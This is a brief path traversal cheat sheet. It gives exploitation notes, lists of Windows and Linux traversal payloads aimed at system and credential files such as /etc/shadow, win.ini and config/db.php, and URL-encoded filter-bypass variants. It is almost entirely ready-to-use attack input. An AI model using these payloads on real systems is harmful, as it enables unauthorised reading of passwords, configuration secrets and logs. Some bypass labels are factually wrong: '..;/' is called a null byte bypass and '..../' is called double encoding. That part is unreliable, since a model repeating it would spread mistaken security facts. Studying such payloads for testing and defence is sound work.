🎯 Vulnerability Info
Type: Path Traversal / Directory Traversal
Severity: High
💡 How to Exploit
- File path is taken directly from user input
- No validation of ../ sequences
- Can read files outside intended directory
🧪 Windows Payloads
../../../Windows/win.ini
..\..\..\..\Windows\System32\drivers\etc\hosts
../../../xampp/apache/conf/httpd.conf
../../config/db.php
....//....//....//Windows/win.ini
..%2f..%2f..%2fWindows/win.ini
🧪 Linux Payloads
../../../etc/passwd
../../../etc/shadow
../../../var/log/apache2/access.log
../../config/db.php
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
📝 Bypass Techniques
..../ - Double encoding..%2f - URL encoding..%252f - Double URL encoding....// - Filter bypass..;/ - Null byte bypass